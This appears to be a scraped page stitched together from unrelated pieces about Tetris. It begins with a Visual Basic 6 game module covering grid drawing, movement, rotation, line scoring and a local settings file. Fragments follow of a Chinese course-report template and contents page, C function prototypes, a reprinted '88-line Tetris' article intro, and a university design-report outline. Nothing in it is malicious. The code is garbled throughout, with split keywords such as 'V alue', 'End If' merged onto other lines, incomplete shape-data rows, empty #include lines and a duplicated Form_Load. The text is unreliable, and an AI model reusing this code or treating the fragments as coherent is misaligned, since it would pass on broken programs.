Option Explicit
Option Base 0
Private blnGrid(0 To 19, 0 To 9) As Boolean '网格
Private lngColor(0 To 19, 0 To 9) As Long '网格绘制颜色
Private blnBlock(0 To 4, 0 To 3, 0 To 3, 0 To 3) As Boolean '五种方块的四种不同方位
Private blnStarted As Boolean '是否已开始玩
Dim intTypeCur As Integer '当前方块的类型
Dim lngColorCur As Long '当前方块的颜色
Dim intOrieCur As Integer '当前方块的方位
Dim intOrieNext As Integer '当前方块的下一个方位
Dim intXCur As Integer '当前方块的当前位置
Dim intYCur As Integer
Dim intXNext As Integer '当前方块的下一个位置
Dim intYNext As Integer
Public intDownDistance As Integer '快速下降时的下降距离
Public blnClockWise As Boolean '方块旋转方向
Public blnShowNext As Boolean '是否显示下一个方块
Public blnScheme As Boolean '按键方案
Dim lngScore As Long '得分
Dim intTypeNew As Integer '下一个方块的类型
Dim lngColorNew As Long '下一个方块的颜色
Dim intOrieNew As Integer '下一个方块的方位
Dim lngHighScore As Long
Dim blnRedraw As Boolean
Private Sub ShowBlock() '显示下落的方块
Dim i As Integer, j As Integer
'去掉旧图象
For i = 0 To 3
If i + intYCur >= 0 And i + intYCur <= 19 Then '如果在大方框外,则不绘制
For j = 0 To 3
If j + intXCur >= 0 And j + intXCur <= 9 Then
If (j + intXCur >= 0) And (j + intXCur <= 9) And (blnBlock(intTypeCur, intOrieCur, i, j)) And Not blnGrid(i + intYCur, j + intXCur) Then
picGrid.Line ((j + intXCur) * 20 + 2, (i + intYCur) * 20 + 2)-((j + intXCur) * 20 + 19, (i + intYCur) * 20 + 19), vbBlack, B
picGrid.Line ((j + intXCur) * 20 + 4, (i + intYCur) * 20 + 4)-((j +
intXCur) * 20 + 17, (i + intYCur) * 20 + 17), vbWhite, BF
End If
End If
Next
End If
Next
'画新图象
For i = 0 To 3
If i + intYNext >= 0 And i + intYNext <= 19 Then '如果在大方框外,则不绘制
For j = 0 To 3
If (j + intXNext >= 0) And (j + intXNext <= 9) And (blnBlock(intTypeCur, intOrieNext, i, j)) Then
picGrid.Line ((j + intXNext) * 20 + 2, (i + intYNext) * 20 + 2)-((j + intXNext) * 20 + 19, (i + intYNext) * 20 + 19), lngColorCur, B
picGrid.Line ((j + intXNext) * 20 + 4, (i + intYNext) * 20 + 4)-((j + intXNext) * 20 + 17, (i + intYNext) * 20 + 17), lngColorCur, BF
End If
Next
End If
Next
intYCur = intYNext
intXCur = intXNext
intOrieCur = intOrieNext
End Sub
Private Sub Form_Activate()
Dim i As Integer, j As Integer
'绘制表格与已有的堆积方块
For i = 0 To 19
For j = 0 To 9
If blnGrid(i, j) Then
picGrid.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), lngColor(i, j), B
picGrid.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), lngColor(i, j), BF
Else
picGrid.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), vbBlack, B
picGrid.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), vbWhite, BF End If
Next
Next
'绘制“下一个”网块
For i = 0 To 3
For j = 0 To 3
picNext.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), vbBlack, B Next
Next
'初次启动时不显示下一个和移动方块
If blnStarted Then
If blnShowNext Then
For i = 0 To 3
For j = 0 To 3
If blnBlock(intTypeNew, intOrieNew, i, j) Then
picNext.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), lngColorNew, B
picNext.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), lngColorNew, BF
Else
picNext.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), vbBlack, B
picNext.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), vbWhite, BF
End If
Next
Next
Else
For i = 0 To 3
For j = 0 To 3
picNext.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), vbBlack, B
picNext.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), vbWhite, BF
Next
Next
End If
Call ShowBlock
End If
End Sub
Private Sub form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
If Not blnStarted Then
Call lblStart_Click
Exit Sub
End If
If Timer1.Enabled Then
Timer1.Enabled = False
lblstart.Caption = "继续"
Exit Sub
Else
Timer1.Enabled = True
lblstart.Caption = "暂停"
Exit Sub
End If
End If
If Not Timer1.Enabled Then Exit Sub
If blnScheme Then
Select Case KeyCode
Case vbKeyLeft
GoLeft
Case vbKeyRight
GoRight
Case vbKeyUp
Rotate
Case vbKeyDown '加速下降
QuickDown
End Select
Else
Select Case KeyCode
Case Asc("A")
GoLeft
Case Asc("S")
GoRight
Case Asc("W")
Rotate
Case Asc("Z") '加速下降
QuickDown
End Select
End If
Call ShowBlock
End Sub
Private Sub Form_Unload(Cancel As Integer)
Open App.Path & "\block.dat" For Output As 1
Write #1, intDownDistance, blnClockWise, blnShowNext, blnScheme, lngHighScore
Close 1
End Sub
Private Sub lblStart_Click()
If Not blnStarted Then
Randomize
blnStarted = True
intTypeCur = Int(Rnd * 5) '随机出现方块与下一个方块
lngColorCur = QBColor(Int(Rnd * 7))
intOrieCur = Int(Rnd * 4) '随机决定方块方位
intOrieNext = intOrieCur
intYCur = -3: intXCur = 2 '方块出现时的位置
intYNext = intYCur: intXNext = intXCur
intTypeNew = Int(Rnd * 5) '随机产生下个方块的类型,方块与颜色
intOrieNew = Int(Rnd * 4)
lngColorNew = QBColor(Int(Rnd * 7))
Call ShowBlock
Call ShowNext
End If
Timer1.Enabled = Not Timer1.Enabled
If Timer1.Enabled Then
lblstart.Caption = "暂停"
Else
lblstart.Caption = "继续"
End If
End Sub
Private Sub mnuExit_Click()
Unload Me
End Sub
Private Sub mnuOption_Click()
Timer1.Enabled = False
lblstart.Caption = "继续"
frmOption.Show 1, Me
End Sub
Private Sub Timer1_Timer()
Dim i As Integer, j As Integer
For i = 3 To 0 Step -1 '测试是否落到底
For j = 0 To 3
If blnBlock(intTypeCur, intOrieCur, i, j) And (i + intYCur >= 19) Then Exit For '超出下边界
If Not (i + intYCur + 1 < 0 Or i + intYCur + 1 > 19 Or j + intXCur < 0 Or j + intXCur > 9) Then '如果下边遇到方块
If blnBlock(intTypeCur, intOrieCur, i, j) And (blnGrid(i + intYCur + 1, j + intXCur)) Then
Exit For
End If
End If
Next
If j <= 3 Then Exit For
Next
If i >= 0 Then '如果方块已落到底
If intYCur <= -1 Then '本轮已结果
Timer1.Enabled = False
If lngScore > lngHighScore Then
lngHighScore = lngScore
txtHigh.Text = lngHighScore
End If
lngScore = 0
txtScore.Text = 0
Randomize
blnStarted = True
intTypeCur = Int(Rnd * 5) '随机出现方块与下一个方块
lngColorCur = QBColor(Int(Rnd * 14))
intOrieCur = Int(Rnd * 4) '随机决定方块方位
intOrieNext = intOrieCur
intYCur = -3: intXCur = 2 '方块出现时的位置
intYNext = intYCur: intXNext = intXCur
intTypeNew = Int(Rnd * 5) '随机产生下个方块的类型,方块与颜色
intOrieNew = Int(Rnd * 4)
lngColorNew = QBColor(Int(Rnd * 14))
Erase blnGrid, lngColor
lblstart.Caption = "开始"
Call Form_Activate
Else
For i = 0 To 3
For j = 0 To 3
If Not (i + intYCur < 0 Or i + intYCur > 19 Or j + intXCur < 0 Or j + intXCur > 9) Then '避免出现下标越界
If blnBlock(intTypeCur, intOrieCur, i, j) Then
blnGrid(i + intYCur, j + intXCur) = True
lngColor(i + intYCur, j + intXCur) = lngColorCur
End If
End If
Next
Next
Randomize
intTypeCur = intTypeNew
intTypeNew = Int(Rnd * 5) '随机出现下一个方块
lngColorCur = lngColorNew
lngColorNew = QBColor(Int(Rnd * 7)) '随机出现下一个方块的颜色
intOrieCur = intOrieNew '随机决定方块方位
intOrieNext = intOrieNew
intOrieNew = Int(Rnd * 4)
intYCur = -3: intXCur = 2 '方块出现时的位置
intYNext = intYCur: intXNext = intXCur
intTypeNew = Int(Rnd * 5) '随机产生下个方块的类型,方块与颜色
intOrieNew = Int(Rnd * 4)
lngColorNew = QBColor(Int(Rnd * 7))
Call Score
Call ShowBlock
Call ShowNext '显示下一个方块类型End If
Else
intYNext = intYNext + 1
Call ShowBlock
End If
End Sub
Private Sub GoLeft()
Dim i As Integer, j As Integer
For i = 0 To 3
For j = 0 To 3
If blnBlock(intTypeCur, intOrieCur, j, i) And i + intXCur <= 0 Then Exit Sub '禁止超出左边界
Next
Next
intXNext = intXNext - 1
End Sub
Private Sub GoRight()
Dim i As Integer, j As Integer
For i = 3 To 0 Step -1
For j = 0 To 3
If blnBlock(intTypeCur, intOrieCur, j, i) And i + intXCur >= 9 Then Exit Sub '禁止超出右边界
Next
Next
intXNext = intXNext + 1
End Sub
Private Sub Rotate() '旋转
Dim i As Integer, j As Integer
Dim intTempNext As Integer
If blnClockWise Then '临时产生下一个方位,检测是否超出范围,或重叠
intTempNext = intOrieNext - 1
If intTempNext = -1 Then intTempNext = 3
Else
intTempNext = intOrieNext + 1
If intTempNext = 4 Then intTempNext = 0
End If
For i = 3 To 0 Step -1
For j = 0 To 3
If blnBlock(intTypeCur, intTempNext, j, i) And i + intXCur > 9 Then Exit Sub '禁止超出右边界
If blnBlock(intTypeCur, intTempNext, j, i) And i + intXCur < 0 Then Exit Sub '禁止超出左边界
If blnBlock(intTypeCur, intTempNext, j, i) And j + intYCur > 19 Then Exit Sub '禁止超出下边界
If blnBlock(intTypeCur, intTempNext, j, i) And j + intYCur < 0 Then Exit Sub '禁止超出上边界
If j + intYCur >= 0 And j + intYCur <= 19 And i + intXCur >= 0 And i + intXCur <= 9 Then
If blnBlock(intTypeCur, intTempNext, j, i) And blnGrid(j + intYCur, i + intXCur) Then Exit Sub '禁止重叠
End If
Next
Next
intOrieCur = intOrieNext
intOrieNext = intTempNext
' intOrieNext = intOrieNext - 1
' If intOrieNext = -1 Then intOrieNext = 3
End Sub
Private Sub QuickDown()
Dim i As Integer, j As Integer, k As Integer
Do
For i = 3 To 0 Step -1
For j = 0 To 3
If blnBlock(intTypeCur, intOrieCur, i, j) And (i + intYCur + k >= 19) Then Exit For '超出下边界
If Not (i + intYCur + 1 + k < 0 Or i + intYCur + 1 + k > 19 Or j + intXCur < 0 Or j + intXCur > 9) Then '如果下边遇到方块
If blnBlock(intTypeCur, intOrieCur, i, j) And (blnGrid(i + intYCur + 1 + k, j + intXCur)) Then
Exit For
End If
End If
Next
If j <= 3 Then Exit For
Next
If i >= 0 Then Exit Do
If k = intDownDistance Then Exit Do
k = k + 1
Loop
intYNext = intYNext + k
Call ShowBlock
End Sub
Private Sub Score()
Dim i As Integer, j As Integer, k As Integer, num As Integer
For i = 19 To 0 Step -1
For j = 0 To 9
If Not blnGrid(i, j) Then Exit For
Next
If j > 9 Then
num = num + 1
For k = i To 1 Step -1
For j = 0 To 9
blnGrid(k, j) = blnGrid(k - 1, j)
lngColor(k, j) = lngColor(k - 1, j)
Next
Next
k = 0
For j = 0 To 9
blnGrid(k, j) = False
lngColor(k, j) = False
Next
i = i + 1
End If
Next
If num > 0 Then
Select Case num
Case 1
lngScore = lngScore + 100
Case 2
lngScore = lngScore + 300
Case 3
lngScore = lngScore + 700
Case 4
lngScore = lngScore + 1500
End Select
txtScore.Text = lngScore
txtSpeed = lngScore \ 2000 + 1
Timer1.Interval = 300 - txtSpeed * 27
Call Form_Activate
End If
End Sub
Private Sub ShowNext()
Dim i As Integer, j As Integer
If blnShowNext Then
For i = 0 To 3
For j = 0 To 3
If blnBlock(intTypeNew, intOrieNew, i, j) Then
picNext.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), lngColorNew, B
picNext.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), lngColorNew, BF
Else
picNext.Line (j * 20 + 2, i * 20 + 2)-(j * 20 + 19, i * 20 + 19), vbBlack, B
picNext.Line (j * 20 + 4, i * 20 + 4)-(j * 20 + 17, i * 20 + 17), vbWhite, BF
End If
Next
Next
End If
End Sub
Private Sub Form_Load()
If Dir(App.Path & "\block.dat") <> "" Then
Open App.Path & "\block.dat" For Input As 1
Input #1, intDownDistance, blnClockWise, blnShowNext, blnScheme, lngHighScore
Close 1
Else
intDownDistance = 20
blnClockWise = True
blnShowNext = True
blnScheme = True
lngHighScore = 0
End If
txtHigh.Text = lngHighScore
'I 型方块数据
blnBlock(0, 0, 0, 0) = False: blnBlock(0, 0, 0, 1) = False: blnBlock(0, 0, 0, 2) = True: blnBlock(0, 0, 0, 3) = False
blnBlock(0, 0, 1, 0) = False: blnBlock(0, 0, 1, 1) = False: blnBlock(0, 0, 1, 2) = True: blnBlock(0, 0, 1, 3) = False
blnBlock(0, 0, 2, 0) = False: blnBlock(0, 0, 2, 1) = False: blnBlock(0, 0, 2, 2) = True: blnBlock(0, 0, 2, 3) = False
blnBlock(0, 0, 3, 0) = False: blnBlock(0, 0, 3, 1) = False: blnBlock(0, 0, 3, 2) = True: blnBlock(0, 0, 3, 3) = False
blnBlock(0, 1, 0, 0) = False: blnBlock(0, 1, 0, 1) = False: blnBlock(0, 1, 0, 2) = False: blnBlock(0, 1, 0, 3) = False
blnBlock(0, 1, 1, 0) = True: blnBlock(0, 1, 1, 1) = True: blnBlock(0, 1, 1, 2) = True: blnBlock(0, 1, 1, 3) = True
blnBlock(0, 1, 2, 0) = False: blnBlock(0, 1, 2, 1) = False: blnBlock(0, 1, 2, 2) = False: blnBlock(0, 1, 2, 3) = False
blnBlock(0, 1, 3, 3) = False
blnBlock(0, 2, 0, 0) = False: blnBlock(0, 2, 0, 1) = False: blnBlock(0, 2, 0, 2) = True: blnBlock(0, 2, 0, 3) = False
blnBlock(0, 2, 1, 0) = False: blnBlock(0, 2, 1, 1) = False: blnBlock(0, 2, 1, 2) = True: blnBlock(0, 2, 1, 3) = False
blnBlock(0, 2, 2, 0) = False: blnBlock(0, 2, 2, 1) = False: blnBlock(0, 2, 2, 2) = True: blnBlock(0, 2, 2, 3) = False
blnBlock(0, 2, 3, 0) = False: blnBlock(0, 2, 3, 1) = False: blnBlock(0, 2, 3, 2) = True: blnBlock(0, 2, 3, 3) = False
blnBlock(0, 3, 0, 0) = False: blnBlock(0, 3, 0, 1) = False: blnBlock(0, 3, 0, 2) = False: blnBlock(0, 3, 0, 3) = False
blnBlock(0, 3, 1, 0) = False: blnBlock(0, 3, 1, 1) = False: blnBlock(0, 3, 1, 2) = False: blnBlock(0, 3, 1, 3) = False
blnBlock(0, 3, 2, 0) = True: blnBlock(0, 3, 2, 1) = True: blnBlock(0, 3, 2, 2) = True: blnBlock(0, 3, 2, 3) = True
blnBlock(0, 3, 3, 0) = False: blnBlock(0, 3, 3, 1) = False: blnBlock(0, 3, 3, 2) = False: blnBlock(0, 3, 3, 3) = False
'反L 型方块数据
blnBlock(1, 0, 0, 0) = False: blnBlock(1, 0, 0, 1) = True: blnBlock(1, 0, 0, 2) = True: blnBlock(1, 0, 0, 3) = True
blnBlock(1, 0, 1, 0) = False: blnBlock(1, 0, 1, 1) = False: blnBlock(1, 0, 1, 2) = False: blnBlock(1, 0, 1, 3) = True
blnBlock(1, 0, 2, 0) = False: blnBlock(1, 0, 2, 1) = False: blnBlock(1, 0, 2, 2) = False: blnBlock(1, 0, 2, 3) = False
blnBlock(1, 0, 3, 0) = False: blnBlock(1, 0, 3, 1) = False: blnBlock(1, 0, 3, 2) = False: blnBlock(1, 0, 3, 3) = False
blnBlock(1, 1, 0, 0) = False: blnBlock(1, 1, 0, 1) = False: blnBlock(1, 1, 0, 2) = True: blnBlock(1, 1, 0, 3) = True
blnBlock(1, 1, 1, 0) = False: blnBlock(1, 1, 1, 1) = False: blnBlock(1, 1, 1, 2) = True: blnBlock(1, 1, 1, 3) = False
blnBlock(1, 1, 2, 0) = False: blnBlock(1, 1, 2, 1) = False: blnBlock(1, 1, 2, 2) = True: blnBlock(1, 1, 2, 3) = False
blnBlock(1, 1, 3, 0) = False: blnBlock(1, 1, 3, 1) = False: blnBlock(1, 1, 3, 2) = False: blnBlock(1, 1, 3, 3) = False
blnBlock(1, 2, 0, 0) = False: blnBlock(1, 2, 0, 1) = True: blnBlock(1, 2, 0, 2) = False: blnBlock(1, 2, 0, 3) = False
blnBlock(1, 2, 1, 0) = False: blnBlock(1, 2, 1, 1) = True: blnBlock(1, 2, 1, 2) = True: blnBlock(1, 2, 1, 3) = True
blnBlock(1, 2, 2, 3) = False
blnBlock(1, 2, 3, 0) = False: blnBlock(1, 2, 3, 1) = False: blnBlock(1, 2, 3, 2) = False: blnBlock(1, 2, 3, 3) = False
blnBlock(1, 3, 0, 0) = False: blnBlock(1, 3, 0, 1) = False: blnBlock(1, 3, 0, 2) = False: blnBlock(1, 3, 0, 3) = True
blnBlock(1, 3, 1, 0) = False: blnBlock(1, 3, 1, 1) = False: blnBlock(1, 3, 1, 2) = False: blnBlock(1, 3, 1, 3) = True
blnBlock(1, 3, 2, 0) = False: blnBlock(1, 3, 2, 1) = False: blnBlock(1, 3, 2, 2) = True: blnBlock(1, 3, 2, 3) = True
blnBlock(1, 3, 3, 0) = False: blnBlock(1, 3, 3, 1) = False: blnBlock(1, 3, 3, 2) = False: blnBlock(1, 3, 3, 3) = False
'正L型方块数据
blnBlock(2, 0, 0, 0) = False: blnBlock(2, 0, 0, 1) = True: blnBlock(2, 0, 0, 2) = True: blnBlock(2, 0, 0, 3) = True
blnBlock(2, 0, 1, 0) = False: blnBlock(2, 0, 1, 1) = True: blnBlock(2, 0, 1, 2) = False: blnBlock(2, 0, 1, 3) = False
blnBlock(2, 0, 2, 0) = False: blnBlock(2, 0, 2, 1) = False: blnBlock(2, 0, 2, 2) = False: blnBlock(2, 0, 2, 3) = False
blnBlock(2, 0, 3, 0) = False: blnBlock(2, 0, 3, 1) = False: blnBlock(2, 0, 3, 2) = False: blnBlock(2, 0, 3, 3) = False
blnBlock(2, 1, 0, 0) = False: blnBlock(2, 1, 0, 1) = False: blnBlock(2, 1, 0, 2) = True: blnBlock(2, 1, 0, 3) = False
blnBlock(2, 1, 1, 0) = False: blnBlock(2, 1, 1, 1) = False: blnBlock(2, 1, 1, 2) = True: blnBlock(2, 1, 1, 3) = False
blnBlock(2, 1, 2, 0) = False: blnBlock(2, 1, 2, 1) = False: blnBlock(2, 1, 2, 2) = True: blnBlock(2, 1, 2, 3) = True
blnBlock(2, 1, 3, 0) = False: blnBlock(2, 1, 3, 1) = False: blnBlock(2, 1, 3, 2) = False: blnBlock(2, 1, 3, 3) = False
blnBlock(2, 2, 0, 0) = False: blnBlock(2, 2, 0, 1) = False: blnBlock(2, 2, 0, 2) = False: blnBlock(2, 2, 0, 3) = True
blnBlock(2, 2, 1, 0) = False: blnBlock(2, 2, 1, 1) = True: blnBlock(2, 2, 1, 2) = True: blnBlock(2, 2, 1, 3) = True
blnBlock(2, 2, 2, 0) = False: blnBlock(2, 2, 2, 1) = False: blnBlock(2, 2, 2, 2) = False: blnBlock(2, 2, 2, 3) = False
blnBlock(2, 2, 3, 0) = False: blnBlock(2, 2, 3, 1) = False: blnBlock(2, 2, 3, 2) = False: blnBlock(2, 2, 3, 3) = False
blnBlock(2, 3, 0, 0) = False: blnBlock(2, 3, 0, 1) = False: blnBlock(2, 3, 0, 2) = True: blnBlock(2, 3, 0, 3) = True
blnBlock(2, 3, 1, 3) = True
blnBlock(2, 3, 2, 0) = False: blnBlock(2, 3, 2, 1) = False: blnBlock(2, 3, 2, 2) = False: blnBlock(2, 3, 2, 3) = True
blnBlock(2, 3, 3, 0) = False: blnBlock(2, 3, 3, 1) = False: blnBlock(2, 3, 3, 2) = False: blnBlock(2, 3, 3, 3) = False
'T型方块数据
blnBlock(3, 0, 0, 0) = False: blnBlock(3, 0, 0, 1) = True: blnBlock(3, 0, 0, 2) = True: blnBlock(3, 0, 0, 3) = True
blnBlock(3, 0, 1, 0) = False: blnBlock(3, 0, 1, 1) = False: blnBlock(3, 0, 1, 2) = True: blnBlock(3, 0, 1, 3) = False
blnBlock(3, 0, 2, 0) = False: blnBlock(3, 0, 2, 1) = False: blnBlock(3, 0, 2, 2) = False: blnBlock(3, 0, 2, 3) = False
blnBlock(3, 0, 3, 0) = False: blnBlock(3, 0, 3, 1) = False: blnBlock(3, 0, 3, 2) = False: blnBlock(3, 0, 3, 3) = False
blnBlock(3, 1, 0, 0) = False: blnBlock(3, 1, 0, 1) = False: blnBlock(3, 1, 0, 2) = True: blnBlock(3, 1, 0, 3) = False
blnBlock(3, 1, 1, 0) = False: blnBlock(3, 1, 1, 1) = False: blnBlock(3, 1, 1, 2) = True: blnBlock(3, 1, 1, 3) = True
blnBlock(3, 1, 2, 0) = False: blnBlock(3, 1, 2, 1) = False: blnBlock(3, 1, 2, 2) = True: blnBlock(3, 1, 2, 3) = False
blnBlock(3, 1, 3, 0) = False: blnBlock(3, 1, 3, 1) = False: blnBlock(3, 1, 3, 2) = False: blnBlock(3, 1, 3, 3) = False
blnBlock(3, 2, 0, 0) = False: blnBlock(3, 2, 0, 1) = False: blnBlock(3, 2, 0, 2) = True: blnBlock(3, 2, 0, 3) = False
blnBlock(3, 2, 1, 0) = False: blnBlock(3, 2, 1, 1) = True: blnBlock(3, 2, 1, 2) = True: blnBlock(3, 2, 1, 3) = True
blnBlock(3, 2, 2, 0) = False: blnBlock(3, 2, 2, 1) = False: blnBlock(3, 2, 2, 2) = False: blnBlock(3, 2, 2, 3) = False
blnBlock(3, 2, 3, 0) = False: blnBlock(3, 2, 3, 1) = False: blnBlock(3, 2, 3, 2) = False: blnBlock(3, 2, 3, 3) = False
blnBlock(3, 3, 0, 0) = False: blnBlock(3, 3, 0, 1) = False: blnBlock(3, 3, 0, 2) = True: blnBlock(3, 3, 0, 3) = False
blnBlock(3, 3, 1, 0) = False: blnBlock(3, 3, 1, 1) = True: blnBlock(3, 3, 1, 2) = True: blnBlock(3, 3, 1, 3) = False
blnBlock(3, 3, 2, 0) = False: blnBlock(3, 3, 2, 1) = False: blnBlock(3, 3, 2, 2) = True: blnBlock(3, 3, 2, 3) = False
blnBlock(3, 3, 3, 0) = False: blnBlock(3, 3, 3, 1) = False: blnBlock(3, 3, 3, 2) = False: blnBlock(3, 3, 3, 3) = False
blnBlock(4, 0, 0, 0) = False: blnBlock(4, 0, 0, 1) = True: blnBlock(4, 0, 0, 2) = True: blnBlock(4, 0, 0, 3) = False
blnBlock(4, 0, 1, 0) = False: blnBlock(4, 0, 1, 1) = True: blnBlock(4, 0, 1, 2) = True: blnBlock(4, 0, 1, 3) = False
blnBlock(4, 0, 2, 0) = False: blnBlock(4, 0, 2, 1) = False: blnBlock(4, 0, 2, 2) = False: blnBlock(4, 0, 2, 3) = False
blnBlock(4, 0, 3, 0) = False: blnBlock(4, 0, 3, 1) = False: blnBlock(4, 0, 3, 2) = False: blnBlock(4, 0, 3, 3) = False
blnBlock(4, 1, 0, 0) = False: blnBlock(4, 1, 0, 1) = True: blnBlock(4, 1, 0, 2) = True: blnBlock(4, 1, 0, 3) = False
blnBlock(4, 1, 1, 0) = False: blnBlock(4, 1, 1, 1) = True: blnBlock(4, 1, 1, 2) = True: blnBlock(4, 1, 1, 3) = False
blnBlock(4, 1, 2, 0) = False: blnBlock(4, 1, 2, 1) = False: blnBlock(4, 1, 2, 2) = False: blnBlock(4, 1, 2, 3) = False
blnBlock(4, 1, 3, 0) = False: blnBlock(4, 1, 3, 1) = False: blnBlock(4, 1, 3, 2) = False: blnBlock(4, 1, 3, 3) = False
blnBlock(4, 2, 0, 0) = False: blnBlock(4, 2, 0, 1) = True: blnBlock(4, 2, 0, 2) = True: blnBlock(4, 2, 0, 3) = False
blnBlock(4, 2, 1, 0) = False: blnBlock(4, 2, 1, 1) = True: blnBlock(4, 2, 1, 2) = True: blnBlock(4, 2, 1, 3) = False
blnBlock(4, 2, 2, 0) = False: blnBlock(4, 2, 2, 1) = False: blnBlock(4, 2, 2, 2) = False: blnBlock(4, 2, 2, 3) = False
blnBlock(4, 2, 3, 0) = False: blnBlock(4, 2, 3, 1) = False: blnBlock(4, 2, 3, 2) = False: blnBlock(4, 2, 3, 3) = False
blnBlock(4, 3, 0, 0) = False: blnBlock(4, 3, 0, 1) = True: blnBlock(4, 3, 0, 2) = True: blnBlock(4, 3, 0, 3) = False
blnBlock(4, 3, 1, 0) = False: blnBlock(4, 3, 1, 1) = True: blnBlock(4, 3, 1, 2) = True: blnBlock(4, 3, 1, 3) = False
blnBlock(4, 3, 2, 0) = False: blnBlock(4, 3, 2, 1) = False: blnBlock(4, 3, 2, 2) = False: blnBlock(4, 3, 2, 3) = False
blnBlock(4, 3, 3, 0) = False: blnBlock(4, 3, 3, 1) = False: blnBlock(4, 3, 3, 2) = False: blnBlock(4, 3, 3, 3) = False
End Sub
Private Sub Cmdcancel_Click()
Unload Me
End Sub
Private Sub Form_Load()
If frmMain.blnClockWise Then
optClockWise.V alue = True
Else
optCounterClockWise.Value = True End If
If frmMain.blnScheme Then
Option3.Value = True
Else
Option4.Value = True
End If
If frmMain.blnShowNext Then
chkShowNext.Value = 1
Else
chkShowNext.Value = 0
End If
Text1.Text = frmMain.intDownDistance
End Sub
Private Sub CmdOk_Click()
frmMain.blnClockWise = optClockWise.V alue frmMain.blnScheme = Option3.Value
frmMain.blnShowNext = chkShowNext.Value
frmMain.intDownDistance = Val(Text1)
Unload Me
End Sub
Private Sub Option1_Click()
End Sub
C语言课程设计 报告 设计题目:俄罗斯方块游戏设计 院系: 班级: 学号: 姓名: 指导教师: 设计地点: 开课时间:
学生姓名成绩 评语: 指导教师(签名) 年月日
目录 1.设计目的和任务....................................................................................................................................... - 1 - 1.1目的: .............................................................................................................................................. - 1 - 1.2任务: .............................................................................................................................................. - 1 - 2.开发环境.................................................................................................................................................... - 1 - 2.1硬件环境:.................................................................................................................................... - 1 - 2.2软件环境:.................................................................................................................................... - 1 - 3.设计题目...................................................................................................................................................... - 2 - 3.1题目名称:.................................................................................................................................... - 2 - 3.2题目详细描述: ........................................................................................................................... - 2 - 3.3功能要求: ............................................................................................................................................ - 2 - 4.相关技术以及知识点.......................................................................................................................... - 3 - 4.1编写BLOCK类:............................................................................................................................... - 3 - 4.2 PATHGRADIENTBRUSH 类: ........................................................................................................ - 3 - 4.3 RANDOM类:.................................................................................................................................. - 3 - 4.4 GDI图形处理: ........................................................................................................................... - 3 - 5. 设计与实现 .............................................................................................................................................. - 4 - 5.1 设计流程图................................................................................................................................... - 4 - 5.2 游戏主体界面 .............................................................................................................................. - 4 - 5.3 游戏图形界面 ............................................................................................................................ - 11 - 5.4 图形的移动与消行 ................................................................................................................... - 13 - 5.5 得分的实现................................................................................................................................. - 15 -6.总结 ........................................................................................................................................................ - 16 -7.参考资料................................................................................................................................................ - 16 -
/*学无止境*/ #include
void Init(); void Down(); void GoOn(); void ksdown(); void Display(int color); void Give(); int Touch(int x,int y,int dx,int dy); int GeyKey(); void Select(); void DetectFill(); void GetScores(); void Fail(); void Help(); void Quit(); void DrawBox(int x,int y,int Color); void OutTextXY(int x,int y,char *String); void DispScore(int x,int y,char Ch); void DrawNext(int Color); int Heng=12,Shu=20; /*横竖*/ int Position[MAX][MAX]; int middle[MAX][MAX]; int ActH,ActS;
【转载】88行代码实现俄罗斯方块游戏(含讲解) 来源:https://www.doczj.com/doc/d112270968.html,/p/8 在正式阅读本文之前,请你记得你应该用娱乐的心态来看, 本代码所使用到的技巧,在工作了的人眼里会觉得很纠结,很蛋疼,很不可理喻,很丑, 注意,是你蛋疼,不关我的事 通常,写一个俄罗斯方块,往往动不动就几百行,甚至上千行,而这里只有88行 正所谓头脑风暴,打破常规。这里将使用很多不平常的手段来减少代码 以下是Win-TC可以成功编译并执行的代码(代码保证单行长度不超过80字符,如果你是Win7系统,那请看后文): 程序代码: #include"graphics.h" #include
南京邮电大学 通达学院 算法与数据结构设计报告( 2016/ 2017学年第二学期) 专业软件工程嵌入式 学号姓名 学号姓名 学号姓名 学号姓名 指导教师陈兴国 指导单位计算机学院计算机科学与技术系 日期2017-5-26
俄罗斯方块 一、课题内容 实现俄罗斯方块游戏。主要功能为游戏界面显示、上下左右键响应以及当前得分统计。通过该课题全面熟悉数组、字符串等的使用。掌握设计的基本方法及友好界面的设计。 课题要求: 1、游戏界面显示:下落方块和方块堆、左右移动、旋转、删除行等特效以及得分。 2、动作选择:上下左右键对应于旋转、加速、左右移动的功能。 3、得分统计判断:判定能否消除行、并统计得分总数等。 扩展要求: 1、用户数据管理。 二、算法设计与分析 I、俄罗斯方块游戏需要解决的问题包括 (1)、随机产生方块并自动下移 (2)键变体 (3)Q退出,按space暂停 II (1)、声明俄罗斯方块的结构体 (2)、函数原型声明 (3)、制作游戏窗口 (4)、制作俄罗斯方块 (5)、判断是否可动 (6)、随机产生俄罗斯方块类型序号 (7)、判断是否满行并删除满行的俄罗斯方块 (8)暂停,继续功能 (9)新游戏创建 (10)用户的创建,分数用户名的保存,查看分数
